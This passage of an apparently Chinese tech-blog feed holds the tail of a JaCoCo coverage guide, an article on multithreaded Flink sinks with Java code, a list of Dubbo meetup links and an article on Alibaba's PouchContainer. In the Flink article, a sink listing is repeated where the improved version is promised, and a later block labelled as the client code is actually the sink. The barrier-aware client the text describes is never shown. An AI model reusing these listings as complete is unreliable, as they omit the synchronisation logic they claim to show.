        4、配置javaagent的端口,此处端口与1.2.2步骤中docker-compse.yml的javaagent端口号一致。

        image.png
        图-4

        5、指定源代码的路径,源码必须与生成.jar包的源码完全一致。

        6、 指定class文件的路径。

        image.png
        图-5

        7、 dump指令配置,此处注意append参数的配置说明,目前选择是true。

        8、merge代码是合并所有项目的.exec文件,生成总的代码覆盖率报告。

        image.png
        图-6

        9、生成覆盖率报告代码部分,添加所有项目的信息,具体图-6中test1项目。

        10、 进入build_jacoco.xml文件所在目录,执行ant –f build_jacoco.xml,显示BUILD SUCCESFUL后,进入生成报告路径查看生成的报告,打开index.html有统计信息即成功。

        image.png
        图-7

        11、 进入具体项目链接,即可观察每行代码的覆盖情况,分析未覆盖的代码增加相应的测试case。

        2、 可能遇见的问题

        1、若Web服务为集群环境,需要将其他服务down掉,使所有请求都发往部署jacoco的服务器上。

        2、启动服务后,开始统计覆盖率,过程中,各个服务最好不要再重启。

        3、若是生成报告失败很大可能是端口号连不上,可尝试修改端口号,build.xml文件中端口号与docker-compose.yml文件中javaagent的端口号一致即可。

        4、build指定的源码和class路径下文件需要与生成jar包的源码文件完全一致,否则生成覆盖率报告会报错。

        3. 引用资料:

        [1]jacoco下载路径:https://www.eclemma.org/jacoco/index.html

        [2] Linux环境安装ant:https://www.cnblogs.com/sell/archive/2013/07/24/3210198.html

        [3] jacoco与tomcat集成:https://www.jianshu.com/p/16a8ce689d60

        [4] jacoco与jenkins集成:https://www.jianshu.com/p/e7fc806ea0e0

        原文作者:zhangyj
        点击查看原文

        ]]>
        在 Flink 算子中使用多线程如何保证不丢数据? Fri, 02 May 2025 09:39:04 +0800 分析痛点

        笔者线上有一个 Flink 任务消费 Kafka 数据,将数据转换后,在 Flink 的 Sink 算子内部调用第三方 api 将数据上报到第三方的数据分析平台。这里使用批量同步 api,即:每 50 条数据请求一次第三方接口,可以通过批量 api 来提高请求效率。由于调用的外网接口,所以每次调用 api 比较耗时。假如批次大小为 50,且请求接口的平均响应时间为 50ms,使用同步 api,因此第一次请求响应以后才会发起第二次请求。请求示意图如下所示:

        1.jpg

        平均下来,每 50 ms 向第三方服务器发送 50 条数据,也就是每个并行度 1 秒钟处理 1000 条数据。假设当前业务数据量为每秒 10 万条数据,那么 Flink Sink 算子的并行度需要设置为 100 才能正常处理线上数据。从 Flink 资源分配来讲,100 个并行度需要申请 100 颗 CPU,因此当前 Flink 任务需要占用集群中 100 颗 CPU 以及不少的内存资源。请问此时 Flink Sink 算子的 CPU 或者内存压力大吗?

        上述请求示意图可以看出 Flink 任务发出请求到响应这 50ms 期间,Flink Sink 算子只是在 wait,并没有实质性的工作。因此,CPU 使用率肯定很低,当前任务的瓶颈明显在网络 IO。最后结论是 Flink 任务申请了 100 颗 CPU,导致 yarn 或其他资源调度框架没有资源了,但是这 100 颗 CPU 的使用率并不高,这里能不能优化通过提高 CPU 的使用率,从而少申请一些 CPU 呢?

        同步批量请求优化为异步请求

        首先可以想到的是将同步请求改为异步请求,使得任务不会阻塞在网络请求这一环节,请求示意图如下所示。

        2.jpg

        异步请求相比同步请求而言,优化点在于每次发出请求时,不需要等待请求响应后再发送下一次请求,而是当下一批次的 50 条数据准备好之后,直接向第三方服务器发送请求。每次发送请求后,Flink Sink 算子的客户端需要注册监听器来等待响应,当响应失败时需要做重试或者回滚策略。

        通过异步请求的方式,可以优化网络瓶颈,假如 Flink Sink 算子的单个并行度平均 10ms 接收到 50 条数据,那么使用异步 api 的方式平均 1 秒可以处理 5000 条数据,整个 Flink 任务的性能提高了 5 倍。对于每秒 10 万数据量的业务,这里仅需要申请 20 颗 CPU 资源即可。关于异步 api 的具体使用,可以根据场景具体设计,这里不详细讨论。

        多线程 Client 模式

        对于一些不支持异步 api 的场景,可能并不能使用上述优化方案,同样,为了提高 CPU 使用率,可以在 Flink Sink 端使用多线程的方案。如下图所示,可以在 Flink Sink 端开启 5 个请求第三方服务器的 Client 线程:Client1、Client2、Client3、Client4、Client5。

        这五个线程内分别使用同步批量请求的 Client,单个 Client 还是保持 50 条记录为一个批次,即 50 条记录请求一次第三方 api。请求第三方 api 耗时主要在于网络 IO(性能瓶颈在于网络请求延迟),因此如果变成 5 个 Client 线程,每个 Client 的单次请求平均耗时还能保持在 50ms,除非网络请求已经达到了带宽上限或整个任务又遇到其他瓶颈。所以,多线程模式下使用同步批量 api 也能将请求效率提升 5 倍。

        3.jpg

        说明:多线程的方案,不仅限于请求第三方接口,对于非 CPU 密集型的任务也可以使用该方案,在降低 CPU 数量的同时,单个 CPU 承担多个线程的工作,从而提高 CPU 利用率。例如:请求 HBase 的任务或磁盘 IO 是瓶颈的任务,可以降低任务的并行度,使得每个并行度内处理多个线程。

        Flink 算子内多线程实现

        Sink 算子的单个并行度内现在有 5 个 Client 用于消费数据,但 Sink 算子的数据都来自于上游算子。如下图所示,一个简单的实现方式是 Sink 算子接收到上游数据后通过轮循或随机的策略将数据分发给 5 个 Client 线程。

        4.jpg

        但是轮循或者随机策略会存在问题,假如 5 个 Client 中 Client3 线程消费较慢,会导致给 Client3 分发数据时被阻塞,从而使得其他正常消费的线程 Client1、2、4、5 也被分发不到数据。

        为了解决上述问题,可以在 Sink 算子内申请一个数据缓冲队列,队列有先进先出(FIFO)的特性。Sink 算子接收到的数据直接插入到队列尾部,五个 Client 线程不断地从队首取数据并消费,即:Sink 算子先接收的数据 Client 先消费,后接收的数据 Client 后消费。

        • 若队列一直是满的,说明 Client 线程消费较慢、Sink 算子上游生产数据较快。
        • 若队列一直为空,说明 Client 线程消费较快、Sink 算子的上游生产数据较慢。

        五个线程共用同一个队列完美地解决了单个线程消费慢的问题,当 Client3 线程阻塞时,不影响其他线程从队列中消费数据。这里使用队列还起到了削峰填谷的作用。

        5.jpg

        代码实现

        原理明白了,具体代码如下所示,首先是消费数据的 Client 线程代码,代码逻辑很简单,一直从 bufferQueue 中 poll 数据,取出数据后,执行相应的消费逻辑即可,在本案例中消费逻辑便是 Client 积攒批次并调用第三方 api。

        public class MultiThreadConsumerClient implements Runnable {
        
            private LinkedBlockingQueue<String> bufferQueue;
        
            public MultiThreadConsumerClient(LinkedBlockingQueue<String> bufferQueue) {
                this.bufferQueue = bufferQueue;
            }
        
            @Override
            public void run() {
                String entity;
                while (true){
                    // 从 bufferQueue 的队首消费数据
                    entity = bufferQueue.poll();
                    // 执行 client 消费数据的逻辑
                    doSomething(entity);
                }
            }
        
            // client 消费数据的逻辑
            private void doSomething(String entity) {
                // client 积攒批次并调用第三方 api
            }
        }

        Sink 算子代码如下所示,在 open 方法中需要初始化线程池、数据缓冲队列并创建开启消费者线程,在 invoke 方法中只需要往 bufferQueue 的队尾添加数据即可。

        public class MultiThreadConsumerSink extends RichSinkFunction<String> {
            // Client 线程的默认数量
            private final int DEFAULT_CLIENT_THREAD_NUM = 5;
            // 数据缓冲队列的默认容量
            private final int DEFAULT_QUEUE_CAPACITY = 5000;
        
            private LinkedBlockingQueue<String> bufferQueue;
        
            @Override
            public void open(Configuration parameters) throws Exception {
                super.open(parameters);
                // new 一个容量为 DEFAULT_CLIENT_THREAD_NUM 的线程池
                ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(DEFAULT_CLIENT_THREAD_NUM, DEFAULT_CLIENT_THREAD_NUM,
                        0L,TimeUnit.MILLISECONDS, new LinkedBlockingQueue<>());
                // new 一个容量为 DEFAULT_QUEUE_CAPACITY 的数据缓冲队列
                this.bufferQueue = Queues.newLinkedBlockingQueue(DEFAULT_QUEUE_CAPACITY);
                // 创建并开启消费者线程
                MultiThreadConsumerClient consumerClient = new MultiThreadConsumerClient(bufferQueue);
                for (int i=0; i < DEFAULT_CLIENT_THREAD_NUM; i++) {
                    threadPoolExecutor.execute(consumerClient);
                }
            }
        
            @Override
            public void invoke(String value, Context context) throws Exception {
                // 往 bufferQueue 的队尾添加数据
                bufferQueue.put(value);
            }
        }

        代码逻辑相对比较简单,请问上述 Sink 能保证 Exactly Once 吗?

        答:不能保证 Exactly Once,Flink 要想端对端保证 Exactly Once,必须要求外部组件支持事务,这里第三方接口明显不支持事务。

        那么上述 Sink 能保证 At Lease Once 吗?言外之意,上述 Sink 会丢数据吗?

        答:会丢数据。因为上述案例中使用的批量 api 来消费数据,假如批量 api 是每积攒 50 条数据请求一次第三方接口,当做 Checkpoint 时可能只积攒了 30 条数据,所以做 Checkpoint 时内存中可能还有数据未发送到外部系统。而且数据缓冲队列中可能还有缓存的数据,因此上述 Sink 在做 Checkpoint 时会出现 Checkpoint 之前的数据未完全消费的情况。

        例如,Flink 任务消费的 Kafka 数据,当做 Checkpoint 时,Flink 任务消费到 offset 为 10000 的位置,但实际上 offset 10000 之前的一小部分数据可能还在数据缓冲队列中尚未完全消费,或者因为没积攒够一定批次所以数据缓存在 client 中,并未请求到第三方。当任务失败后,Flink 任务从 Checkpoint 处恢复,会从 offset 为 10000 的位置开始消费,此时 offset 10000 之前的一小部分缓存在内存缓冲队列中的数据不会再被消费,于是就出现了丢数据情况。

        6.jpg

        处理丢数据情况

        如何保证数据不丢失呢?很简单,可以在 Checkpoint 时强制将数据缓冲区的数据全部消费完,并对 client 执行 flush 操作,保证 client 端不会缓存数据。

        实现思路:Sink 算子可以实现 CheckpointedFunction 接口,当做 Checkpoint 时,会调用 snapshotState 方法,方法内可以触发 client 的 flush 操作。但 client 在 MultiThreadConsumerClient 对应的五个线程中,需要考虑线程同步的问题,即:Sink 算子的 snapshotState 方法中做一个操作,要使得五个 Client 线程感知到当前正在执行 Checkpoint,此时应该把数据缓冲区的数据全部消费完,并对 client 执行过 flush 操作。

        如何实现呢?需要借助 CyclicBarrier。CyclicBarrier 会让所有线程都等待某个操作完成后才会继续下一步行动。在这里可以使用 CyclicBarrier,让 Checkpoint 等待所有的 client 将数据缓冲区的数据全部消费完并对 client 执行过 flush 操作,言外之意,offset 10000 之前的数据必须全部消费完成才允许 Checkpoint 执行完成。这样就可以保证 Checkpoint 时不会有数据被缓存在内存,可以保证数据源 offset 10000 之前的数据都消费完成。

        MultiThreadConsumerSink 具体代码如下所示:

        public class MultiThreadConsumerSink extends RichSinkFunction<String> {
            // Client 线程的默认数量
            private final int DEFAULT_CLIENT_THREAD_NUM = 5;
            // 数据缓冲队列的默认容量
            private final int DEFAULT_QUEUE_CAPACITY = 5000;
        
            private LinkedBlockingQueue<String> bufferQueue;
        
            @Override
            public void open(Configuration parameters) throws Exception {
                super.open(parameters);
                // new 一个容量为 DEFAULT_CLIENT_THREAD_NUM 的线程池
                ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(DEFAULT_CLIENT_THREAD_NUM, DEFAULT_CLIENT_THREAD_NUM,
                        0L,TimeUnit.MILLISECONDS, new LinkedBlockingQueue<>());
                // new 一个容量为 DEFAULT_QUEUE_CAPACITY 的数据缓冲队列
                this.bufferQueue = Queues.newLinkedBlockingQueue(DEFAULT_QUEUE_CAPACITY);
                // 创建并开启消费者线程
                MultiThreadConsumerClient consumerClient = new MultiThreadConsumerClient(bufferQueue);
                for (int i=0; i < DEFAULT_CLIENT_THREAD_NUM; i++) {
                    threadPoolExecutor.execute(consumerClient);
                }
            }
        
            @Override
            public void invoke(String value, Context context) throws Exception {
                // 往 bufferQueue 的队尾添加数据
                bufferQueue.put(value);
            }
        }

        MultiThreadConsumerSink 实现了 CheckpointedFunction 接口,在 open 方法中增加了 CyclicBarrier 的初始化,CyclicBarrier 预期容量设置为 client 线程数加一,表示当 client 线程数加一个线程都执行了 await 操作时,所有的线程的 await 方法才会执行完成。这里为什么要加一呢?因为除了 client 线程外, snapshotState 方法中也需要执行过 await。

        当做 Checkpoint 时 snapshotState 方法中执行 clientBarrier.await(),等待所有的 client 线程将缓冲区数据消费完。snapshotState 方法执行过程中 invoke 方法不会被执行,即:Checkpoint 过程中数据缓冲队列不会增加数据,所以 client 线程很快就可以将缓冲队列中的数据消费完。

        MultiThreadConsumerClient 具体代码如下所示:

        public class MultiThreadConsumerSink extends RichSinkFunction<String> implements CheckpointedFunction {
        
            private Logger LOG = LoggerFactory.getLogger(MultiThreadConsumerSink.class);
        
            // Client 线程的默认数量
            private final int DEFAULT_CLIENT_THREAD_NUM = 5;
            // 数据缓冲队列的默认容量
            private final int DEFAULT_QUEUE_CAPACITY = 5000;
        
            private LinkedBlockingQueue<String> bufferQueue;
            private CyclicBarrier clientBarrier;
        
            @Override
            public void open(Configuration parameters) throws Exception {
                super.open(parameters);
                // new 一个容量为 DEFAULT_CLIENT_THREAD_NUM 的线程池
                ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(DEFAULT_CLIENT_THREAD_NUM, DEFAULT_CLIENT_THREAD_NUM,
                        0L,TimeUnit.MILLISECONDS, new LinkedBlockingQueue<>());
                // new 一个容量为 DEFAULT_QUEUE_CAPACITY 的数据缓冲队列
                this.bufferQueue = Queues.newLinkedBlockingQueue(DEFAULT_QUEUE_CAPACITY);
                // barrier 需要拦截 (DEFAULT_CLIENT_THREAD_NUM + 1) 个线程
                this.clientBarrier = new CyclicBarrier(DEFAULT_CLIENT_THREAD_NUM + 1);
                // 创建并开启消费者线程
                MultiThreadConsumerClient consumerClient = new MultiThreadConsumerClient(bufferQueue, clientBarrier);
                for (int i=0; i < DEFAULT_CLIENT_THREAD_NUM; i++) {
                    threadPoolExecutor.execute(consumerClient);
                }
            }
        
            @Override
            public void invoke(String value, Context context) throws Exception {
                // 往 bufferQueue 的队尾添加数据
                bufferQueue.put(value);
            }
        
            @Override
            public void snapshotState(FunctionSnapshotContext functionSnapshotContext) throws Exception {
                LOG.info("snapshotState : 所有的 client 准备 flush !!!");
                // barrier 开始等待
                clientBarrier.await();
            }
        
            @Override
            public void initializeState(FunctionInitializationContext functionInitializationContext) throws Exception {
            }
        
        }

        从数据缓冲队列中 poll 数据时,增加了 timeout 时间为 50ms。如果从队列中拿到数据,则执行消费数据的逻辑,若拿不到数据说明数据缓冲队列中数据消费完了。此时需要判断是否有等待的 CyclicBarrier,如果有等待的 CyclicBarrier 说明此时正在执行 Checkpoint,所以 client 需要执行 flush 操作。flush 完成后,Client 线程执行 barrier.await() 操作。当所有的 Client 线程都执行到 await 时,所有的 barrier.await() 都会被执行完。此时 Sink 算子的 snapshotState 方法就会执行完。通过这种策略可以保证 Checkpoint 时将数据缓冲区中的数据消费完,client 执行 flush 操作可以保证 client 端不会缓存数据。

        总结

        分析到这里,我们设计的 Sink 终于可以保证不丢失数据了。对 CyclicBarrier 不了解的同学请 Google 或百度查询。再次强调这里多线程的方案,不仅限于请求第三方接口,对于非 CPU 密集型的任务都可以使用该方案来提高 CPU 利用率,且该方案不仅限于 Sink 算子,各种算子都适用。本文主要希望帮助大家理解 Flink 中使用多线程的优化及在 Flink 算子中使用多线程如何保证不丢数据。

        ]]>
        2019 历届 Dubbo Meetup 回顾合集(附 PPT 下载和视频回看) Fri, 02 May 2025 09:39:04 +0800 dubbo1.jpeg

        2018年2月16日,Dubbo 加入 Apache 基金会孵化器,在随后的那个夏天,我们开始在全国(北京、上海、深圳、成都、杭州)和社区的用户们见面、认识、交个朋友,将社区的最新动态、Dubbo 的发展规划、和一些用户的最佳实践进行分享,目的是让大家在使用和共建 Dubbo 的过程中,更有参与感。
        2019年,我们发现,参与 Dubbo Meetup 报名和来到现场的人越来越多,社区的活跃度也越来越高,所以我们将 Dubbo Meetup 升级为 Dubbo Tech Day(Dubbo开发者日),争取更多的资源投入,包括场地、物料、现场设备等。截止至 2019 年 7 月 20 日,已经有 100,000 位云原生开发者参与到我们的活动中(线上+线下)。
        以下,我们整理了过往活动的直播回放链接和 PPT,希望对您在使用 Dubbo 时有所帮助。

        Dubbo活动.png


        2019 年 12 月 28 日 杭州场

        报名链接:https://www.huodongxing.com/event/8524084167711

        2019 年 11 月 30 日 重庆场

        PPT 下载:
        https://yq.aliyun.com/download/3865
        视频回看:无直播
        议题查看:
        https://www.huodongxing.com/event/4521084108811

        2019 年 11 月 16 日 大连场

        PPT 下载:
        视频回看:无直播

        2019 年 10 月 26 日 成都场

        PPT 下载:
        https://yq.aliyun.com/download/3866
        视频回看:
        https://developer.aliyun.com/live/1522
        议题查看:
        https://www.huodongxing.com/event/6509139141611

        2019 年 8 月 17 日 上海场

        PPT 下载:
        https://yq.aliyun.com/download/3868
        视频回看:
        https://developer.aliyun.com/live/1280
        议题查看:
        https://www.huodongxing.com/event/5502527446911

        2019 年 7 月 20 日 深圳场

        PPT 下载:
        https://yq.aliyun.com/download/3867
        视频回看:
        https://developer.aliyun.com/live/1222
        议题查看:
        https://www.huodongxing.com/event/5498736958000

        2019 年 5 月 26 日 北京场

        PPT 下载:
        https://yq.aliyun.com/download/3869
        视频回看:
        https://yq.aliyun.com/live/1081
        议题查看:
        https://www.huodongxing.com/event/8491826604100

        2019 年 3 月 23 日 南京场

        PPT 下载:
        https://yq.aliyun.com/download/3870
        视频回看:
        https://yq.aliyun.com/live/908
        议题查看:
        https://www.huodongxing.com/event/7482607661100

        2019 年 1 月 19 日 广州场

        PPT 下载:
        https://yq.aliyun.com/download/3871
        视频回看:
        https://yq.aliyun.com/live/795
        议题查看:
        https://www.huodongxing.com/event/8472393517111

        2018 年 12 月 1 日 杭州场

        PPT下载:
        https://yq.aliyun.com/download/3876
        视频回看:
        https://yq.aliyun.com/live/652
        议题查看:
        https://www.huodongxing.com/event/3467333809600

        2018 年 8 月 26 日 成都场

        PPT下载:
        https://yq.aliyun.com/download/3875
        视频回看:
        https://yq.aliyun.com/live/500
        议题查看:
        http://www.itdks.com/Home/Act/apply?id=2451&mUid=1092

        2018 年 7 月 29 日深圳场

        PPT下载:
        https://yq.aliyun.com/download/3872
        视频回看:
        http://www.itdks.com/index.php/Act/apply_upgrade/id/2354/mUid/0.html#dingbu
        议题查看:
        http://www.itdks.com/Home/Act/apply?id=2354&mUid=1092

        2018 年 6 月 23 日 上海场

        PPT下载:
        https://yq.aliyun.com/download/3873
        视频回看:
        http://www.itdks.com/index.php/Act/apply_upgrade/id/2281/mUid/0.html#dingbu
        议题查看:
        http://www.itdks.com/Home/Act/apply?id=2281&mUid=1092

        2018 年 5 月 12 日北京场

        PPT下载:
        https://yq.aliyun.com/download/3874
        视频回看:
        http://www.itdks.com/index.php/Act/apply_upgrade/id/2176/mUid/0.html#dingbu
        议题查看:
        http://www.itdks.com/Home/Act/apply?id=2176&mUid=1092


        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        PouchContainer 容器技术演进助力阿里云原生升级 Fri, 02 May 2025 09:39:04 +0800 点击下载《不一样的 双11 技术:阿里巴巴经济体云原生实践》
        ban.jpg

        作者 | 杨育兵(沈陵) 阿里巴巴高级技术专家

        我们从 2016 年开始在集团推广全面的镜像化容器化,今年是集团全面镜像化容器化后的第 4 个 双11,PouchContainer 容器技术已经成为集团所有在线应用运行的运行时底座和运维载体,每年 双11 都有超过百万的 PouchContainer 容器同时在线,提供电商和所有相关的在线应用平稳运行的载体,保障大促购物体验的顺滑。

        我们通过 PouchContainer 容器运行时这一层标准构建了应用开发和基础设施团队的标准界面,每年应用都有新的需求、新的变化,同时基础设施也有上云/混部/神龙/存储计算分离/网络变革这些升级,两边平行演进,互不干扰。技术设施和 PouchContainer 自身都做了很大的架构演进,这些很多的架构和技术演进对应用开发者都是无感知的。

        1.png

        在容器技术加持的云原生形成趋势的今天,PouchContainer 容器技术支持的业务方也不再只有集团电商业务和在线业务了,我们通过标准化的演进,把所有定制功能做了插件化,适配了不同场景的需要。除了集团在线应用,还有运行在离线调度器上面的离线 job 类任务、跑在搜索调度器上面的搜索广告应用、跑在 SAE/CSE 上面的 Serverless 应用、专有云产品及公有云(ACK+CDN)等场景,都使用了 PouchContainer 提供的能力。

        2.png

        运行时的演进

        2015 年之前,我们用的运行时是 LXC,PouchContainer 为了在镜像化后能够平滑接管原来的 T4 容器,在 LXC 中支持新的镜像组装方式,并支持交互式的 exec 和内置的网络模式。

        随着云原生的进程,我们在用户无感知的情况下对运行时做了 containerd+runc 的支持,用标准化的方式加内部功能插件,实现了内部功能特性的支持和被各种标准化运维系统无缝集成的目标。

        无论是 LXC 还是 runc 都是让所有容器共享 Linux 内核,利用 cgroup 和 namespace 来做隔离,对于强安全场景和强隔离场景是不适用的。为了容器这种开发和运维友好的交付形式能给更多场景带来收益,我们很早就开始探索这方面的技术,和集团 os 创新团队以及蚂蚁 os 虚拟化团队合作共建了 kata 安全容器和 gvisor 安全容器技术,在容器生态嫁接,磁盘、网络和系统调用性能优化等方面都做了很多的优化。在兼容性要求高的场景我们优先推广 kata 安全容器,已经支持了 SAE 和 ACK 安全容器场景。在语言和运维习惯确定的场景,我们也在 618 大促时上线了一些合适的电商使用了 gvisor 的运行时隔离技术,稳定性和性能都得到了验证。

        为了一部分专有云场景的实施,我们今年还首次支持了 Windows 容器运行时,在容器依赖相关的部署、运维方面做了一些探索,帮助敏捷版专有云拿下了一些客户。

        除了安全性和隔离性,我们的运行时演进还保证了标准性,今年最新版本的 PouchContainer 把 diskquota、lxcfs、dragonfly、DADI 这些特性都做成了可插拔的插件,不需要这些功能的场景可以完全不受这些功能代码的影响。甚至我们还对一些场景做了 containerd 发行版,支持纯粹的标准 CRI 接口和丰富的运行时。

        3.png

        镜像技术的演进

        镜像化以后必然会引入镜像分发的效率方面的困难,一个是速度另一个是稳定性,让发布扩容流程不增加太多时间的情况下,还要保证中心节点不被压垮。
        PouchContainer 在一开始就支持了使用 Dragonfly 来做 P2P 的镜像分发,就是为了应对这种问题,这是我们的第一代镜像分发方案。在研发域我们也对镜像分层的最佳实践做了推广,这样能最大程度的保证基础环境不变时每次下载的镜像层最小。镜像加速要解决的问题有:build 效率、push 效率、pull 效率、解压效率以及组装效率。第一代镜像加速方案,结合 Dockerfile 的最佳实践解决了 build 效率和 pull 效率和中心压力。

        第一代镜像分发的缺点是无论用户启动过程中用了多少镜像数据,在启动容器之前就需要把所有的镜像文件都拉到本地,在很多场景下都是浪费的,特别影响的是扩容场景。所以第二代的镜像加速方案,我们调研了阿里云的盘古,盘古的打快照、mount、再打快照这种使用方式完美匹配打镜像和分发的流程;能做到秒级镜像 pull,因为 pull 镜像时只需要鉴权,下载镜像 manifest,然后 mount 盘古,也能做到镜像内容按需读取。

        2018 年 双11,我们小规模上线了盘古远程镜像,也验证了我们的设计思路,这一代的镜像加速方案结合新的 overlay2 技术在第一代的基础上又解决了PouchContainer 效率/pull 效率/解压效率和组装效率。

        但是也存在一些问题。首先镜像数据没有存储在中心镜像仓库中,只有 manifest 信息,这样镜像的分发范围就受限,在哪个盘古集群做的镜像,就必须在那个盘古集群所在的阿里云集群中使用这个镜像;其次没有 P2P 的能力,在大规模使用时对盘古后端的压力会很大,特别是离线场景下由于内存压力导致很多进程的可执行文件的 page cache 被清理,然后需要重新 load 这种场景,会给盘古后端带来更大的压力。基于这两个原因,我们和 ContainerFS 团队合作共建了第三代镜像分发方案:DADI(基于块设备的按需 P2P 加载技术,后面也有计划开源这个镜像技术)。

        DADI 在构建阶段保留了镜像的多层结构,保证了镜像在多次构建过程中的可重用性,并索引了每个文件在每层的offset 和 length,推送阶段还是把镜像推送到中心镜像仓库中,保证在每个机房都能拉取到这个镜像。在每个机房都设置了超级节点做缓存,每一块内容在特定的时间段内,都只从镜像仓库下载一次。如果有时间做镜像预热,像 双11 这种场景,预热阶段就是从中心仓库中把镜像预热到本地机房的超级节点,后面的同机房的数据传输会非常快。镜像 pull 阶段只需要下载镜像的 manifest 文件(通常只有几 K大小),速度非常快,启动阶段 DADI 会给每个容器生成一个块设备,这个块设备的 chunk 读取是按需从超级节点或临近节点 P2P 读取的内容,这样就保证了容器启动阶段节点上只读取了需要的部分内容。为了防止容器运行过程中出现 iohang,我们在容器启动后会在后台把整个镜像的内容全部拉到 node 节点,享受超快速启动的同时最大程度地避免后续可能出现的 iohang。

        使用 DADI 镜像技术后的今年 双11 高峰期,每次有人在群里面说有扩容任务,我们值班的同学去看工单时,基本都已经扩容完成了,扩容体验做到了秒级。

        网络技术演进

        PouchContainer 一开始的网络功能是揉合在 PouchContainer 自己的代码中的,用集成代码的方式支持了集团各个时期的网络架构,为了向标准化和云原生转型,在应用无感知的情况下,我们在 Sigma-2.0 时代使用 libnetwork 把集团现存的各种网络机架构都统一做了 CNM 标准的网络插件,沉淀了集团和专有云都在用的阿里巴巴自己的网络插件。在在线调度系统推广期间,CNM 的网络插件已经不再适用,为了不需要把所有的网络插件再重新实现一遍,我们对原来的网络插件做了包装,沉淀了 CNI 的网络插件,把 CNM 的接口转换为 CNI 的接口标准。

        内部的网络插件支持的主流单机网络拓扑演进过程如下图所示:

        4.png

        从单机拓扑能看出来使用神龙 eni 网络模式可以避免容器再做网桥转接,但是用神龙的弹性网卡和CNI网络插件时也有坑需要避免,特别是 eni 弹性网卡是扩容容器时才热插上来的情况时。创建 eni 网卡时,udevd 服务会分配一个唯一的 id N,比如 ethN,然后容器 N 启动时会把 ethN 移动到容器 N 的 netns,并从里面改名为 eth0。容器 N 停止时,eth0 会改名为 ethN 并从容器 N 的 netns 中移动到宿主机的 netns 中。

        这个过程中,如果容器 N 没有停止时又分配了一个容器和 eni 到这台宿主机上,udevd 由于看不到 ethN 了,它有可能会分配这个新的 eni 的名字为 ethN。容器 N 停止时,把 eth0 改名为 ethN 这一步能成功,但是移动到宿主机根 netns 中这一步由于名字冲突会失败,导致 eni 网卡泄漏,下一次容器 N 启动时找不到它的 eni 了。可以通过修改 udevd 的网卡名字生成规则来避免这个坑。

        运维能力演进

        PouchContainer 容器技术支持了百万级的在线容器同时运行,经常会有一些问题需要我们排查,很多都是已知的问题,为了解决这个困扰,我还写了 PouchContainer 的一千个细节以备用户查询,或者重复问题问过来时直接交给用户。但是 PouchContainer 和相关链路本身稳定性和运维能力的提升才是最优的方法。今年我们建设了 container-debugger 和 NodeOps 中心系统,把一些容器被用户问的问题做自动检测和修复,任何修复都做了灰度筛选和灰度部署能力,把一些经常需要答疑的问题做了用户友好的提示和修复,也减轻了我们自身的运维压力。

        5.png

        1. 内部的中心化日志采集和即时分析
        2. 自带各模块的健康和保活逻辑
        3. 所有模块提供 Prometheus 接口,暴露接口成功率和耗时
        4. 提供常见问题自动巡检修复的工具
        5. 运维经验积累,对用户问题提供修复建议
        6. 提供灰度工具,任何变更通过金丝雀逐步灰度
        7. 剖析工具,流程中插入代码的能力
        8. Pouch 具备一键发布能力,快速修复

        容器使用方式演进

        提供容器平台给应用使用,在容器启动之前必然有很多平台相关的逻辑需要处理,这也是我们以前用富容器的原因。

        1. 安全相关:安全路由生成、安全脚本配置
        2. cpushare 化相关配置:tsar 和 nginx 配置
        3. 运维agent 更新相关:运维agent 更新相对频繁,基础镜像更新特别慢,不能依赖于基础镜像更新来更新运维agent
        4. 配置相关逻辑:同步页头页尾,隔离环境支持, 强弱依赖插件部署
        5. SN 相关:模拟写 SN 到/dev/mem,保证 dmidecode 能读到正确的 SN
        6. 运维相关的的 agent 拉起,很多运维系统都依赖于在节点上面有一个 agent,不管这个节点是容器/ecs 还是物理机
        7. 隔离相关的配置:比如 nproc 这个限制是在用户上面的,用统一个镜像的容器不能使用统一 uid 不然无法隔离 nproc
          现在随着基于 K8s 编排调度系统的推广,我们有了 Pod 能力,可以把一些预置逻辑放到前置 hook 中去执行,当然富容器可以瘦下来,还要依赖于运维 agent 可以从主容器中拆出来,那些只依赖于 volume 共享就能跑起来的 agent 可以先移动到 sidecar 里面去,这样就可以把运维容器和业务主容器分到不同的容器里面去,一个 Pod 多个容器在资源隔离上面分开,主容器是 Guaranteed 的 QOS,运维容器是 Burstable 的 QOS。同时在 kubelet 上支持 Pod 级别的资源管控,保证这个 Pod 整体是 Guaranteed 的同时,限制了整个 pod 的资源使用量不超过应用单实例的申请资源。

        还有一些 agent 不是只做 volume 共享就可以放到 sidecar 的运维容器中的,比如 arthas 需要能 attach 到主容器的进程上去,还要能 load 主容器中非 volume 路径上面的 jar 文件才能正常工作。对于这种场景 PouchContainer 容器也提供了能让同 Pod 多容器做一些 ns 共享的能力,同时配合 ns 穿越来让这些 agent 可以在部署方式和资源隔离上是和主容器分离的,但是在运行过程中还可以做它原来可以做的事情。

        容器技术继续演进的方向

        可插拔的插件化的架构和更精简的调用链路在容器生态里面还是主流方向,kubelet 可以直接去调用 pouch-containerd 的 CRI 接口,可以减少中间一个组件的远程调用,不过 CRI 接口现在还不够完善,很多运维相关的指令都没有,logs 接口也要依赖于 container API 来实现,还有运行环境和构建环境分离,这样用户就不需要到宿主机上面执行 build。所有的运维系统也不再依赖于 container API。在这些约束下我们可以做到减少对一个中间组件的系统调用,直接用 kubelet 去调用 pouch-containerd 的 CRI 接口。

        现在每个应用都有很多的 Dockerifle,怎么让 Dockerfile 更有表达能力,减少 Dockerfile 数量。构建的时候并发构建也是一个优化方向,buildkit 在这方面是可选的方案,Dockerfile 表达能力的欠缺也需要新的解决方案,buildkit 中间态的 LLB 是 go 代码,是不是可以用 go 代码来代替 Dockerfile,定义更强表达能力的 Dockerfile 替代品。

        容器化是云原生的关键路径,容器技术在运行时和镜像技术逐渐趋于稳定的情况下,热点和开发者的目光开始向上层转移,K8s 和基于其上的生态成为容器技术未来能产生更多创新的领域,PouchContainer 技术也在向着更云原生、更好适配 K8s 生态的方向发展,网络、diskquota、试图隔离等 PouchContainer 的插件,在 K8s 生态系统中适配和优化也我们后面的方向之一。

        ban.jpg

        本书亮点

        • 双11 超大规模 K8s 集群实践中,遇到的问题及解决方法详述
        • 云原生化最佳组合:Kubernetes+容器+神龙,实现核心系统 100% 上云的技术细节
        • 双 11 Service Mesh 超大规模落地解决方案

